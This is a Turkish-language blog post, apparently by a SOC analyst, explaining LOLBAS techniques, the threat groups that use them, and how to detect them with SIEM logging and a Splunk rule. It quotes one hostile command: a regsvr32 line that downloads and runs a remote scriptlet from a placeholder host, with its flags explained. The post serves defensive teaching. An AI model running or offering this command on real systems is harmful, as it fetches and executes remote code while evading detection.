LOLBAS Teknikleri ve Tespiti
Selamlar, bir süredir yazmayı planladığım ancak üzerimdeki task’ler sebebiyle ertelediğim blog yazıma nihayet başlayabildim. Lolbas nedir, saldırganlar ne için ve nasıl kullanır, ilgili saldırı süreci nasıl önlenir anlatmaya çalışacağım.
Lolbas (Living off the Land Binary and Scripts) , aslında bir proje. Bu projenin içerisinde yer alan binary ve scriptler; saldırı süreçlerinde hangi biçimde kullanıldıklarını içeriyor. Yani işletim sistemi kurulduğu anda gelen binary ve scriptlerin saldırganlar tarafından saldırı sürecinde kullanılması bütününe Lolbas diyoruz.
Projenin amacı Lol teknikleri için kullanılabilecek her binary, script ve library’i belgelemek ve sunmak. [1]
Bu projenin Windows işletim sistemindeki kullanımlarına LOLBİN, Unix tabanlı işletim sistemindeki kullanımlarına GTFobins [2] , Web sitelerindeki kullanımlarına ise LOTS [3] adı veriliyor. Yani Lolbin teknikleri Windows işletim sistemlerindeki saldırı süreçlerinde, GTFobins unix tabanlı işletim sistemlerindeki saldırı süreçlerinde, LOTS ise legal domainlerde phishing, C&C, exfiltration yöntemlerinin saldırı süreçlerinde nasıl kullanıldığını içeriyor. Kapsam bu şekilde.
Peki saldırganlar bu Lolbas tekniklerini neden kullanıyor? Az önce bahsettiğim gibi genel çerçeveyi belirleyecek olursak saldırganlar Defense Evasion [4] için Lolbas tekniklerini kullanıyorlar. Yani bu proje, Mitre Attack Framework üzerinde yer alan Defense Evasion tekniğinin uygulaması :)
Saldırganlar, amacına en kısa yoldan ulaşmak için ( bir taşta iki kuş misali ) çabalar ve genellikle tek bir lolbin üzerinde listelenen binary birden fazla atak için kullanılabiliyorsa onu seçiyor. Örnek verecek olursak
regsvr32 /s /n /u /i: http://example.com/file.sct scrobj.dll
Regsvr32, Windows tarafından dll’lerin denetimi ve registrye kaydı için kullanılır. Ancak burada example.com gidiyor file.sct objesini indiriyor. File.sct çalışıyor ama scropj.dll kullanarak çalışıyor. File.sct bir yürütülebilir dosya olmadıgı için haliyle bir dll ile çalışması gerekiyor. Scropj.dll de bir Microsoft Dll’i. [5]
Peki regsvr32 ile birlikte çalışan parametreler ne işe yarıyor?
/s : Mesajların görüntülenmesini engelliyor
/n : DllRegisterServer çağrılmasını engelliyor
/u : Sunucu kaydını siliyor
Toparlayacak olursak saldırgan burada ilgili adresten file.sct indirip scrobj.dll ile birlikte çalıştırıyor ama bunu regsvr32 parametreleri ile destekleyerek amacına ulaşmaya çalışıyor. Tabi bunu yaparken aynı zamanda kötü amaçlı aktivitelerinin tespit edilmesini de zorlaştırıyor.
Blue Team’de iseniz, SIEM üzerinde herhangi bir legal windows process’i ile birlikte çalışan parametrelere özellikle dikkat edip parametrelerin işlevine odaklanmalısınız.
Biraz da istatistiksel devam edelim :) Saldırılarda en çok hangi process Lolbas için kullanılıyor, en popüler Lolbas processleri neler buna da değinmek isterim.
LOLBAS tekniklerinin kullanımında en büyük payı %20.3 ile cmd.exe üstleniyor. Hemen ardından %5.1 ile Rundll32.exe ve %7.2 ile de CertUtil.exe — Netsh.exe — Mshta.exe geliyor. TOP 5 bu şekilde diyebiliriz.
Bir sunumda bu processlerin legal kullanımlarından ve saldırganlar tarafından hangi parametreler ile evasion uygulandığından bahsetmiştim ancak burada o kısımdan bahsetmek oldukça sıkıcı olur diye düşündüm. Ancak meraklısı LOLBAS project üzerinden ilgili process’lerin içeriğine bakarak bunu kolayca öğrenebilir.
LOLBAS teknikleri tehdit grupları tarafından da oldukça yaygın şekilde kullanılıyor. Aşağıda Lolbas teknikleri için hangi process’i hangi tehdit grubunun kullandığını görebilirsiniz.
MSIEXEC.exe — Duqu [6]
RegAsm.exe — Agent Tesla [7]
Regsvr32 — APT19 [8]
wuauclt.exe — Lazarus [9]
Referans kısmında yer alan kaynaklardan ilgili tehdit raporuna ulaşıp saldırı sürecini detaylı gözlemleyebilirsiniz.
Ee tabi Blue tarafta olduğumuz için asıl ilgimizi çeken ne oldu? Biz bunu nasıl önleriz oldu.
Öncelikle tüm processleri takip etmek, hem analist in iş yükünü artırır hemde False Positive oranını yükseltir.
Bunlarda SOC tarafında çalışanlar için hiç de sevilmeyen durumlardır. O zaman napabiliriz?
- WSL Block : WSL, Linux için Windows Alt Sistemi olarak bilinir. Windows işletim sisteminin; bir Linux dosya sistemini, Linux komut satırı araçları ve GUI uygulamalarıyla birlikte, Windows masaüstünüz ve uygulamalarınızın yanı sıra doğrudan Windows’ta çalıştırmanızı sağlayan bir özelliğidir. Bunun endpointlerden blocklanması aslında atak yüzeyini oldukça düşürecektir.
- Network Analysis : Lolbas teknikleri ile gerçekleştirilen saldırıları Network üzerinde yapılan analiz ile rahatlıkla tespit edebilir ve önleyebiliriz.
- Can alıcı noktamız SIEM üzerinde ise Command Line Logging ve Powershell Logging sağlandığı takdirde ilgili saldırının tespitini rahatlıkla gerçekleştirebilir ve sistemlerden gerekli blocklamaları yapabiliriz :) Tabi tespitler geliştikçe ilgili SIEM kurallarını da iyileştirerek sürece olumlu katkı sağlayabiliriz. Bir sonraki saldırı için atak yüzeyi elbette ki daralmış olacaktır.
Sona doğru yaklaşırken birde Wsmprovhost dosyasının LOLBAS süreçlerinde tespiti için bir Splunk kuralı [10] iliştirip huzurunuzdan ayrılıyorum efendim :) Kural Parent Process’i wsmprovhost.exe olan processleri izler. Umarım küçük de olsa bir katkım olmuştur.
[1] https://lolbas-project.github.io/
[2] https://gtfobins.github.io/
[3] https://lots-project.com/
[4] https://attack.mitre.org/tactics/TA0005/
[5] https://windows10dll.nirsoft.net/scrobj_dll.html
[6] https://attack.mitre.org/techniques/T1218/007/
[7] https://www.fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant
[8] https://attack.mitre.org/techniques/T1218/010/
[9] https://threatpost.com/lazarus-apt-windows-update-malware-github/178096/
[10] https://research.splunk.com/endpoint/2eed004c-4c0d-11ec-93e8-3e22fbd008af/